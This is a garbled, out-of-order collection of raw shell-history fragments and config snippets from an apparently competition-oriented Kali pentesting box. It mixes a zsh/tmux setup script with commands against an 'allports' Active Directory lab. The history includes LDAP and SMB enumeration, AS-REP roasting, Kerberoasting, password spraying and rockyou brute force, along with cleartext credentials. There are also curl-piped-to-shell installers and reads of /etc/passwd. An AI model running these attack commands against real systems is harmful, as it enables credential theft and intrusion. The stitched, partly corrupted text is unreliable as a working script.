_raw: # Create a simple pipinstall.sh script if referenced\


_raw: print_status "Creating scripts directory..."\


_raw: (( ${#p10k_config_opts} )) && setopt ${p10k_config_opts[@]}\


_raw: typeset -g POWERLEVEL9K_TIME_FORMAT='%D{%I:%M:%S %p}'\


_raw: typeset -g POWERLEVEL9K_VCS_BRANCH_ICON='\uF126 '\


_raw: typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_CHAR=' '\


_raw: 'builtin' 'setopt' 'no_aliases' 'no_sh_glob' 'brace_expand'\


_raw: [[ ! -o 'no_brace_expand' ]] || p10k_config_opts+=('no_brace_expand')\


_raw: [[ ! -o 'sh_glob'         ]] || p10k_config_opts+=('sh_glob')\


_raw: [[ ! -o 'aliases'         ]] || p10k_config_opts+=('aliases')\


_raw: 'builtin' 'local' '-a' 'p10k_config_opts'\


_raw: # Type `p10k configure` to generate another config.\


_raw: # sparse, many icons, concise, transient_prompt, instant_prompt=verbose.\


_raw: # 12h time, angled separators, sharp heads, flat tails, 2 lines, disconnected, no frame,\


_raw: # Wizard options: nerdfont-v3 + powerline, small icons, classic, unicode, darkest,\


_raw: # Generated by Powerlevel10k configuration wizard\


_raw: # Users can run 'p10k configure' to customize further\


_raw: # Note: The full p10k config is very large, so we create a minimal version\


_raw: print_status "Setting up Powerlevel10k configuration..."\


_raw: # Initialize Starship prompt (comment this out if using powerlevel10k)\


_raw: # To customize prompt, run `p10k configure` or edit ~/.p10k.zsh.\


_raw: #	[ -z "$TMUX" ] && exec tmux new-session -A -s main\


_raw: # Uncomment if you want tmux to start automatically\


_raw: # Auto-starts tmux on every new shell session if tmux isn't already started\


_raw: alias fastscan="sudo nmap -p- -sS --min-rate 5000 -T4 -Pn -n"\


_raw: alias fzf="fzf --preview 'batcat --style=numbers --color=always {}'"\


_raw: alias cat="batcat"  # Kali uses 'batcat' instead of 'bat'\


_raw: alias ls="eza -l --icons --time-style=long-iso --group-directories-first"\


_raw: plugins=(git sudo zsh-syntax-highlighting fast-syntax-highlighting zsh-autosuggestions)\


_raw: # Uncomment to use powerlevel10k instead of starship\


_raw: if [[ -r "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh" ]]; then\


_raw: # confirmations, etc.) must go above this block; everything else may go below.\


_raw: # Initialization code that may require console input (password prompts, [y/n]\


_raw: # Enable Powerlevel10k instant prompt. Should stay close to the top of ~/.zshrc.\


_raw: print_warning "Backed up existing .zshrc"\


_raw: cp "$HOME/.zshrc" "$HOME/.zshrc.backup.$(date +%Y%m%d_%H%M%S)"\


_raw: print_status "Setting up .zshrc configuration..."\


_raw:
subfinder -d bb-142.rooms.allports.tours
subfinder -d bb-b142.rooms.allports.tours
subfinder -d rooms.allports.tours
smbclient -L //10.0.1.6 -N
smbclient //10.0.1.6/SYSVOL -N
nmap -sS -Pn -p 21,22,53,88,135,139,389,443,445,464,636,3268,3269,5985,5986 -sV -oA scans/10.0.1.6 10.0.1.6\
mkdir scans
nmap -sS -Pn -p 21,22,53,88,135,139,389,443,445,464,636,3268,3269,5985,5986 -sV -oA scans/10.0.1.6 10.0.1.6\
ldapsearch -x -LLL -H ldap://10.10.10.5 -s base -b "" namingContexts\
ldapsearch -x -LLL -H ldap://10.0.1.6 -s base -b "" namingContexts\
vldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(&(servicePrincipalName=*)(objectClass=user))" sAMAccountName servicePrincipalName userAccountControl | tee spn_users.ldif\
sudo apt install vldapsearch
ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(&(servicePrincipalName=*)(objectClass=user))" sAMAccountName servicePrincipalName userAccountControl | tee spn_users.ldif\
# Any object with an SPN\
ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(servicePrincipalName=*)" distinguishedName servicePrincipalName sAMAccountName objectClass | tee spn_any.ldif\
ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(&(objectClass=computer)(servicePrincipalName=*))" cn dNSHostName servicePrincipalName | tee spn_computers.ldif
ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=user)" sAMAccountName cn displayName | tee users.ldif
GetNPUsers.py allports.local/ -no-pass -dc-ip 10.0.1.6 | tee asrep_out.txt
GetNPUsers allports.local/ -no-pass -dc-ip 10.0.1.6 | tee asrep_out.txt
sudo apt install getnpusers
ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" -E pr=1000/noprompt "(objectCategory=group)" dn cn member | tee groups.ldif\
ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" -E pr=1000/noprompt "(objectCategory=person)" sAMAccountName distinguishedName displayName memberOf userAccountControl mail | tee users_full.ldif\
ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" -E pr=1000/noprompt "(&(servicePrincipalName=*)(objectClass=user))" sAMAccountName distinguishedName servicePrincipalName userAccountControl | tee spn_users.ldif\
ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" -E pr=1000/noprompt "(&(objectClass=computer)(servicePrincipalName=*))" cn dNSHostName servicePrincipalName | tee spn_computers.ldif\
ldapsearch -x -LLL -H ldap://10.0.1.6 -b "cn=Domain Admins,cn=Users,dc=allports,dc=local" member | tee domain_admins.ldif\
ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" -E pr=1000/noprompt "(&(objectCategory=group)(|(cn=Domain Admins)(cn=Enterprise Admins)(cn=Domain Controllers)(cn=Administrators)))" dn cn member | tee priv_groups.ldif\
# Try a paged user dump via the Global Catalog\
ldapsearch -x -LLL -H ldap://10.0.1.6:3268 \\
  -b "dc=allports,dc=local" -E pr=1000/noprompt \\
  "(objectCategory=person)" \\
  sAMAccountName distinguishedName displayName memberOf userAccountControl mail | tee users_gc.ldif\
ldapsearch -x -LLL -H ldaps://10.0.1.6:3269 -b "dc=allports,dc=local" -E pr=1000/noprompt "(objectCategory=person)" sAMAccountName distinguishedName | tee users_gc_ssl.ldif\
# Try a paged user dump via the Global Catalog\
ldapsearch -x -LLL -H ldap://10.0.1.6:3268 \\
  -b "dc=allports,dc=local" -E pr=1000/noprompt \\
  "(objectCategory=person)" \\
  sAMAccountName distinguishedName displayName memberOf userAccountControl mail | tee users_gc.ldif\
ldapsearch -x -LLL -H ldap://10.0.1.6:3268 -b "dc=allports,dc=local" -E pr=1000/noprompt "(cn=*Admin*)" dn cn member | tee admin_like_groups.ldif\
smbclient -L //10.0.1.6 -N | tee smb_shares.txt
enum4linux -a 10.0.1.6 | tee enum4linux_full.txt
rpcclient -U "" 10.0.1.6
sublist3r -d allports.tours
enum4linux -a 10.0.1.6 | tee enum4linux_full.txt
subfinder -d allports.tours
subfinder -d allports.tours --status
subfinder -d allports.tours
subfinder -d allports.tours -nW
ping chat.allports.tours
ping allports.tours
docker
enum4linux -ng -A 10.0.1.4
enum4linux -ng -A 10.0.1.6
nmap -F 10.0.254.0/24
sudo apt install kali-linux-everything
enum4linux -ng -A 10.0.1.20
enum4linux 10.0.1.1
enum4linux 10.0.1.6
enum4linux 10.0.1.10
enum4linux 10.0.1.11
enum4linux 10.0.1.14
enum4linux 10.0.1.15
enum4linux 10.0.1.20
enum4linux 10.0.1.21
enum4linux 10.0.1.30
#!/bin/bash\
\
###############################################################################\
# Kali Linux Ricing Script\
# Replicates macOS configuration for pentesting competitions\
# Author: Caio Bittencourt\
# Target: Kali Linux\
###############################################################################\
\
set -e # Exit on error\
\
# Colors for output\
RED='\033[0;31m'\
GREEN='\033[0;32m'\
YELLOW='\033[1;33m'\
BLUE='\033[0;34m'\
NC='\033[0m' # No Color\
\
print_status() {\
  echo -e "${BLUE}[*]${NC} $1"\
}\
\
print_success() {\
  echo -e "${GREEN}[⃼\x83\xB3]${NC} $1"\
}\
\
print_error() {\
  echo -e "${RED}[⃼\x83\xB7]${NC} $1"\
}\
\
print_warning() {\
  echo -e "${YELLOW}[{NC} $1"\
}\
\
###############################################################################\
# 1. Update System and Install Dependencies\
###############################################################################\
print_status "Updating system and installing dependencies..."\
sudo apt update && sudo apt upgrade -y\
\
print_status "Installing required packages..."\
sudo apt install -y \\
  zsh \\
  tmux \\
  git \\
  curl \\
  wget \\
  unzip \\
  fontconfig \\
  build-essential \\
  python3 \\
  python3-pip \\
  bat \\
  ripgrep \\
  fd-find \\
  fzf \\
  neovim \\
  xclip \\
  zoxide \\
  eza\
\
print_success "Dependencies installed"\
\
###############################################################################\
# 2. Install Nerd Fonts\
###############################################################################\
print_status "Installing Nerd Fonts (MesloLGS NF for powerlevel10k)..."\
FONT_DIR="$HOME/.local/share/fonts"\
mkdir -p "$FONT_DIR"\
\
cd /tmp\
if [ ! -d "nerd-fonts" ]; then\
  git clone --depth=1 https://github.com/ryanoasis/nerd-fonts.git\
fi\
cd nerd-fonts\
./install.sh Meslo\
fc-cache -fv\
\
print_success "Nerd Fonts installed"\
\
###############################################################################\
# 3. Install Oh-My-Zsh\
###############################################################################\
print_status "Installing Oh-My-Zsh..."\
if [ ! -d "$HOME/.oh-my-zsh" ]; then\
  sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" "" --unattended\
  print_success "Oh-My-Zsh installed"\
else\
  print_warning "Oh-My-Zsh already installed, skipping..."\
fi\
\
###############################################################################\
# 4. Install Oh-My-Zsh Plugins\
###############################################################################\
print_status "Installing zsh plugins..."\
\
# zsh-syntax-highlighting\
if [ ! -d "${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting" ]; then\
  git clone https://github.com/zsh-users/zsh-syntax-highlighting.git \\
    ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting\
fi\
\
# fast-syntax-highlighting\
if [ ! -d "${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/plugins/fast-syntax-highlighting" ]; then\
  git clone https://github.com/zdharma-continuum/fast-syntax-highlighting.git \\
    ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/plugins/fast-syntax-highlighting\
fi\
\
# zsh-autosuggestions\
if [ ! -d "${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/plugins/zsh-autosuggestions" ]; then\
  git clone https://github.com/zsh-users/zsh-autosuggestions.git \\
    ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/plugins/zsh-autosuggestions\
fi\
\
print_success "Zsh plugins installed"\
\
###############################################################################\
# 5. Install Powerlevel10k\
###############################################################################\
print_status "Installing Powerlevel10k theme..."\
if [ ! -d "${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k" ]; then\
  git clone --depth=1 https://github.com/romkatv/powerlevel10k.git \\
    ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k\
  print_success "Powerlevel10k installed"\
else\
  print_warning "Powerlevel10k already installed, skipping..."\
fi\
\
###############################################################################\
# 6. Install Starship Prompt (currently used on macOS)\
###############################################################################\
print_status "Installing Starship prompt..."\
if ! command -v starship &>/dev/null; then\
  curl -sS https://starship.rs/install.sh | sh -s -- -y\
  print_success "Starship installed"\
else\
  print_warning "Starship already installed, skipping..."\
fi\
\
###############################################################################\
# 7. Setup Tmux Plugin Manager (TPM)\
###############################################################################\
print_status "Installing Tmux Plugin Manager..."\
if [ ! -d "$HOME/.tmux/plugins/tpm" ]; then\
  git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm\
  print_success "TPM installed"\
else\
  print_warning "TPM already installed, skipping..."\
fi\
\
###############################################################################\
# 8. Configure Tmux\
###############################################################################\
print_status "Setting up tmux configuration..."\
cat >"$HOME/.tmux.conf" <<'EOF'\
unbind r\
unbind -\
unbind =\
bind r source-file ~/.tmux.conf \; display "Config Reloaded!"\
\
set -g prefix C-s\
set -g mouse on\
set-option -g history-limit 10000\
set-option -g status-interval 60\
\
# act like vim\
setw -g mode-keys vi\
bind-key h select-pane -L\
bind-key j select-pane -D\
bind-key k select-pane -U\
bind-key l select-pane -R\
bind-key - resize-pane -R 5\
bind-key = resize-pane -L 5\
\
# List of plugins\
set -g @plugin 'tmux-plugins/tpm'\
set -g @plugin 'tmux-plugins/tmux-sensible'\
# set -g @plugin 'dreamsofcode-io/catppuccin-tmux'\
set -g @plugin 'tmux-plugins/tmux-yank'\
set -g @treemux-tree-nvim-init-file '~/.tmux/plugins/treemux/configs/treemux_init.lua'\
set -g @plugin 'kiyoon/treemux'\
set -g @plugin 'erikw/tmux-powerline'\
\
# Open panes in current directory\
bind '"' split-window -v -c "#{pane_current_path}"\
bind '%' split-window -h -c "#{pane_current_path}"\
\
\
# Initialize TMUX plugin manager (keep this at the very bottom of this conf file.\
run '~/.tmux/plugins/tpm/tpm'\
\
EOF\
\


_raw: : 1762629144:0;crackmapexec winrm 10.0.1.21 -u /usr/share/wordlists


_raw: : 1762629100:0;nxc ldap 10.0.1.6 -u users -p "" --asreproast afile


_raw:
docker --version
install docker-cli
sudo apt install docker-cli
clear
docker --version
docker-compose -d build
docker-compose up -d --build
docker-compose stop
docker-compose start
ls
cd ..
ls
cd pwddoc-ng
cd pwndoc-ng
ls
clear
docker-compose up -d --build
sudo systemctl status docker
cls
clear
docker ls
docker --help
docker ps
clear
docker -v
docker-compose up -d --build
[200~sudo systemctl status docker~
sudo systemctl status docker
sudo systemctl start docker
docker --version
sudo apt install docker-io
clear


_raw: : 1762629094:0;nxc ldap 10.0.1.6 -u users.txt -p "" --asreproast afile


_raw: sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"


_raw: : 1762629074:0;nxc ldap 10.0.1.6 -u users.txt -p "" --asreproast afile


_raw: : 1762629037:0;nxc ldap 10.0.1.6 -u users -p "" --asreproast afile


_raw: : 1762628912:0;cp ohmy-pentest-report/ohmy-pentest-report.zsh-theme .


_raw: : 1762628904:0;git clone https://github.com/sikumy/ohmy-pentest-report


_raw:
sudo apt update
sudo apt upgrade
clear
sudo apt install -y sed curl openssl uuid-runtime coreutils
curl -fsSL https://get.docker.com | sudo bash
docker
sudo apt install docker
sudo apt install docker-cli
docker
clear
sudo groupadd docker 2>/dev/null
sudo udermod -aG docker $USER
sudo usermod -aG docker $USER
newgrp -
sudo groupadd docker 2>/dev/null  # Creates the Docker group if it doesn't exist\
sudo usermod -aG docker $USER  # Add the current user to the Docker group\
newgrp -  # Instantly apply the group membership
bash <(curl -s https://docs.sysreptor.com/install.sh)
sudo curl -fsSL https://get.docker.com | sudo bash
docker
clear
bash <(curl -s https://docs.sysreptor.com/install.sh)
docker compose
sudo apt-get install docker-compose-plugin
mkdir -p ~/.docker/cli-plugins/
sudo curl -SL https://github.com/docker/compose/releases/download/vX.Y.Z/docker-compose-linux-x86_64 -o ~/.docker/cli-plugins/docker-compose
docker compose version
sudo apt-get update\
sudo apt-get install docker-compose-plugin
nano docker.sh
bash docker.sh
sudo chmod +x /usr/local/lib/docker/cli-plugins/docker-compose
curl -SL https://github.com/docker/compose/release/download/v2.40.3/docker-compose-linux-x86_64 -o /usr/local/lib/docker/cli-plugins/docker-compose
curl -SL https://github.com/docker/compose/release/download/v2.40.3/docker-compose-linux-x86_64 -o /usr/local/lib/docker/cli-plugin
curl -SL https://github.com/docker/compose/release/download/v2.40.3/docker-compose-linux-x86_64 -o /usr/local/lib/docker/cli-plugins
mkdir /usr/local/lib/docker/cli-plugins
docker
sudo apt install docker-ce containerd.io
sudo apt install containerd.io
cat /etc/group
sudo usermod -aG docker $USER
usermod -aG docker $USER
sudo cat /etc/passwd
sudo cat /etc/passwd | grep "docker"
docker
docker compose version
docker --help
sudo apt install containerd.io
sudo apt install docker
docker
mkdir /usr/local/lib/.docker/cli-plugins
exit


_raw: : 1762628816:0;netexec smb $TARGET -u Administrator -p /usr/share/wordlists/rockyou.txt


_raw: : 1762628710:0;ldapsearch -x -H ldaps://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=person)"


_raw:
ls
cat password.txt
curl -k https://10.0.1.14/
curl -k https://10.0.1.14/ -H "Host: allports.tours"
curl -k http://10.0.1.11/ -H "Host: allports.local"
nmap -T3 -p3080 10.0.1.0/24
mysql -h 10.0.1.99
mysql -h 10.0.1.99 -k
mysql -h 10.0.1.99 --ssl-mode=DISABLE


_raw: : 1762628685:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=person)"


_raw: : 1762628667:0;gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1762628646:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local"


_raw: : 1762628617:0;ldapdomaindump ldap://10.0.1.6 -u '\allports.local' -p ''


_raw: : 1762628615:0;git clone https://github.com/fortra/impacket


_raw: : 1762628609:0;ldapdomaindump ldaps://10.0.1.6 -u '\allports.local' -p ''


_raw: : 1762628555:0;rusthound-ce -u svc_stabilize -p 1gyroscope -f apt-dc-01.allports.local -i 10.0.1.6 -d allports.local -c All --zip


_raw: : 1762628502:0;nmap -p 135 --script=msrpc-enum $TARGET


_raw:
/tmp/floss
/tmp/floss -h
/tmp/floss received_data.bin
/tmp/floss received_data.bin --format sc64
/tmp/floss received_data.bin --format sc64 -H
/tmp/floss received_data.bin --format sc64 --language go > strings.txt
less strings.txt
open strings.txt


_raw: : 1762628456:0;cp ohmy-pentest-report/ohmy-pentest-report.zsh-theme .


_raw: : 1762628439:0;git clone https://github.com/sikumy/ohmy-pentest-report


_raw: : 1762628397:0;GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip 10.0.1.6 'allports.local/svc_stabilize:1gyroscope'


_raw: : 1762628396:0;dirb http://10.0.1.20:47001 /usr/share/wordlists/dirb/common.txt


_raw: : 1762628395:0;sh -c "$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"\


_raw: : 1762628390:0;rm -rf /home/pentester/.oh-my-zsh


_raw: : 1762628378:0;rm -r /home/pentester/.oh-my-zsh


_raw: : 1762628328:0;nxc smb workstations -u Guest -p IamTheCaptain --local-auth


_raw: : 1762628327:0;sh -c "$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"\


_raw: : 1762628321:0;nxc smb workstations -u Administrator -p IamTheCaptain --local-auth


_raw:
git clone https://github.com/sikumy/ohmy-pentest-report/ $ZSH_CUSTOM/themes/ohmy-pentest-report\
mv $ZSH_CUSTOM/themes/ohmy-pentest-report/ohmy-pentest-report.zsh-theme ~/.oh-my-zsh/themes/ohmy-pentest-report.zsh-theme
sed -i 's/ZSH_THEME=".*"/ZSH_THEME="ohmy-pentest-report"/' ~/.zshrc
source /oh-my-zsh.sh
source $ZSH/oh-my-zsh.sh
ls
\
\
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"\


_raw: : 1762628251:0;nxc smb workstations -u default_cred_users -p Sails@way!


_raw:
nmap -n -sV --script "ldap* and not brute" -p 389 10.0.1.6
curl https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -o kerbrute_linux_amd64
ls
ls -la
rm kerbrute_linux_amd64
chmod +x Downloads/kerbrute_linux_amd64
crackmapexec smb   -u '' -p '' --users | awk '{print $4}' | uniq\
nxc smb 10.0.1.6 -u '' -p '' --users | awk '{print $4}' | uniq \
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='APT'"
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='APT'" 10.0.1.6


_raw: : 1762628204:0;nxc winrm 10.0.1.6 -u users5.txt -p 'Sails@way!' --no-bruteforce


_raw: sh -c "$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"


_raw: : 1762628174:0;nxc ldap 10.0.1.6 -u ~/real_domain_users -p 'IamTheCaptain' --continue-on-success